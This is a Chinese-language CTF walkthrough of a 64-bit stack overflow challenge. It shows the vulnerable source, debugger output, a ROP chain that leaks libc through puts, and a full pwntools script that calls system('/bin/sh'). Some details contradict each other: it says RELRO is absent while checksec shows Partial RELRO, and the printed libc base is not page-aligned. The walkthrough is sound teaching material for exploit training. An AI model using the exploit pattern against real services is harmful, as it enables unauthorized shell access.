0x00 代码
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
0x01 代码状态
$ checksec ./basic_rop_x64
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/basic_rop_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看到这次是64位环境下的问题,而32位和64位最大的不同就是函数调用时采用的是不同的规则,64位是先将先将数据存入寄存器,如果寄存器不够用再调用stack。32位则是直接利用stack来保存必要的数据。
寄存器如下
rax -> 通常用于储存函数调用返回的结果
rbx
rcx -> 第4个参数
rdx -> 第3个参数
rsi -> 传递函数第2个参数
rdi -> 传递函数第1个参数
-------------------------------------------- 通用寄存器
rbp -> 当前栈帧起始位置,通常指向栈底
rsp -> 堆栈指针寄存器,通常指向栈顶
r8 -> 第5个参数
r9 -> 第6个参数
r10
r11
…
比较特殊的
rip -> 存放下一条指令的偏移地址
rsp -> 存放当前栈帧的栈顶偏移地址
rbp -> 存放当前栈帧的栈底偏移地址
rax -> 通用寄存器,存放返回值
另外,可以发现这段代码没有开启canary和PIE,只开启了NX。这意味这我们很难使用shellcode的方式得到shell,所以还是使用ROP的方式进行。由于程序没有开启RELRO,所以GOT表是有write权限的,意味着我们也可以使用GOT overwrite方法来取得shell。这里先使用计算system函数并且直接呼出的办法进行ROP。
0x02 分析
1. system函数没有记录
和上一个题目不同,之前没有调用过system函数(大部分时候也不会),所以我们要想办法求出system函数的地址。至于"/bin/sh"要怎么得到,需要思考一下。
2. 存在overflow漏洞
0x03 设计Exploit
1. Overflow
通过gdb找到 buf 的地址
0x00000000004007e7 <+45>: lea rax,[rbp-0x40] <---在这里
0x00000000004007eb <+49>: mov edx,0x400
0x00000000004007f0 <+54>: mov rsi,rax
0x00000000004007f3 <+57>: mov edi,0x0
0x00000000004007f8 <+62>: call 0x4005f0 <read@plt>
2. 求system函数地址
题目给了一个库"libc.so.6",而我们需要的system函数也在这个库中。不只是system函数,这个库中还包含了read, printf, write等一系列函数。这里需要注意一点,库在映射到内存的过程中是以整体的形式进行,也就是说虽然不清楚库的位置,但是库内函数的距离是不会随着映射而改变的。所以需要利用这一点,通过其他函数来求出库的偏移量,从而计算出system函数的地址。
3. 返回main,用第二次read函数执行system(“/bin/sh”)
因为这个程序只有一次使用read函数的机会,所以我们发送一段payload计算出system函数地址之后要返回main函数。重新执行第二个payload,最后通过使用system和"/bin/sh"来获得shell。
0x04 编写Exploit
1. Overflow
在read函数调用时,输入0x40+0x8(sfp)来达到ret地址。
2. 计算system函数地址
源代码中调用过read函数,也就是说read函数被记录在got表中的,我们可以利用read函数在got表中的地址减去在库中read函数的地址得到库整体的偏移量。但是首先要找到一个合适的函数输出read@got。用 info func 指令查看程序包含的函数。
$ info func
0x0000000000400590 _init
0x00000000004005c0 puts@plt <---这里
0x00000000004005d0 write@plt
0x00000000004005e0 alarm@plt
0x00000000004005f0 read@plt
0x0000000000400600 __libc_start_main@plt
0x0000000000400610 signal@plt
0x0000000000400620 setvbuf@plt
0x0000000000400630 exit@plt
0x0000000000400640 __gmon_start__@plt
0x0000000000400650 _start
0x0000000000400680 deregister_tm_clones
0x00000000004006c0 register_tm_clones
0x0000000000400700 __do_global_dtors_aux
0x0000000000400720 frame_dummy
0x0000000000400746 alarm_handler
0x000000000040075e initialize
0x00000000004007ba main <---这里
0x0000000000400820 __libc_csu_init
0x0000000000400890 __libc_csu_fini
0x0000000000400894 _fini
可以用于输出的函数有 write 和 puts 两个,但是write需要三个变量才能调用,而puts只用一个变量就可以,比较方便。所以我们用puts函数对read@got进行输出。
write(int fd,const void*buf,size_t count);
puts(const char *string);
决定了需要用到的函数之后,在info func,可以找到puts@plt,main。在read函数之后设置断点,再输入got查看got表,找到read@got的地址。
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 8
[0x601018] puts@GLIBC_2.2.5 -> 0x4005c6 (puts@plt+6) ◂— push 0 /* 'h' */
[0x601020] write@GLIBC_2.2.5 -> 0x4005d6 (write@plt+6) ◂— push 1
[0x601028] alarm@GLIBC_2.2.5 -> 0x7ffff7ea5d90 (alarm) ◂— endbr64
[0x601030] read@GLIBC_2.2.5 -> 0x7ffff7ed0fc0 (read) ◂— endbr64 <---这里
[0x601038] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7de6f90 (__libc_start_main) ◂— endbr64
[0x601040] signal@GLIBC_2.2.5 -> 0x7ffff7e05f00 (ssignal) ◂— endbr64
[0x601048] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e47ce0 (setvbuf) ◂— endbr64
[0x601050] exit@GLIBC_2.2.5 -> 0x400636 (exit@plt+6) ◂— push 7
最后一步就是需要找到我们需要的gadget
$ ROPgadget --binary ./basic_rop_x64 --re "pop rdi"
Gadgets information
============================================================
0x0000000000400883 : pop rdi ; ret
Unique gadgets found: 1
第一段payload
from pwn import *
p = process("./basic_rop_x64")
libc = ELF('./libc.so.6')
main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030
#overflow
payload = b'A'*0x48
#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)
p.send(payload)
sleep(1)
#[2]libc base and system
print(p.recvuntil('A'*0x40))
# 通过查看库中函数的地址可以知道,前两位都是由\x00构成
read = u64(p.recvn(6)+b'\x00\x00')
print("leak --> "+ str(hex(read)))
lb = read - libc.symbols['read']
print("libc base --> "+ str(hex(lb)))
system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))
binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+ str(hex(binsh)))
看一下运行的结果
$ python ex_x64.py
[+] Starting local process './basic_rop_x64': pid 2495
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ex_x64.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(p.recvuntil('A'*0x40))
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
leak --> 0x7fae68666fc0
libc base --> 0x7fae68592c70
system --> 0x7fae685cd5b0
binsh --> 0x7fae686ebc9b
第二段payload
overflow之后返回system(“/bin/sh”)从而得到shell。
#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
p.send(payload2)
p.interactive()
0x05 Exploit
from pwn import *
p = process("./basic_rop_x64")
libc = ELF('./libc.so.6')
main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030
#overflow
payload = b'A'*0x48
#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)
p.send(payload)
sleep(1)
#libc base
print(p.recvuntil('A'*0x40))
read = u64(p.recvn(6)+b'\x00\x00')
print("leak --> "+str(hex(read)))
lb = read - libc.symbols['read']
print("libc base --> "+str(hex(lb)))
system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))
binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+str(hex(binsh)))
#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
p.send(payload2)
p.interactive()
有不到位的或是错误的地方,请直接评论或者私信我。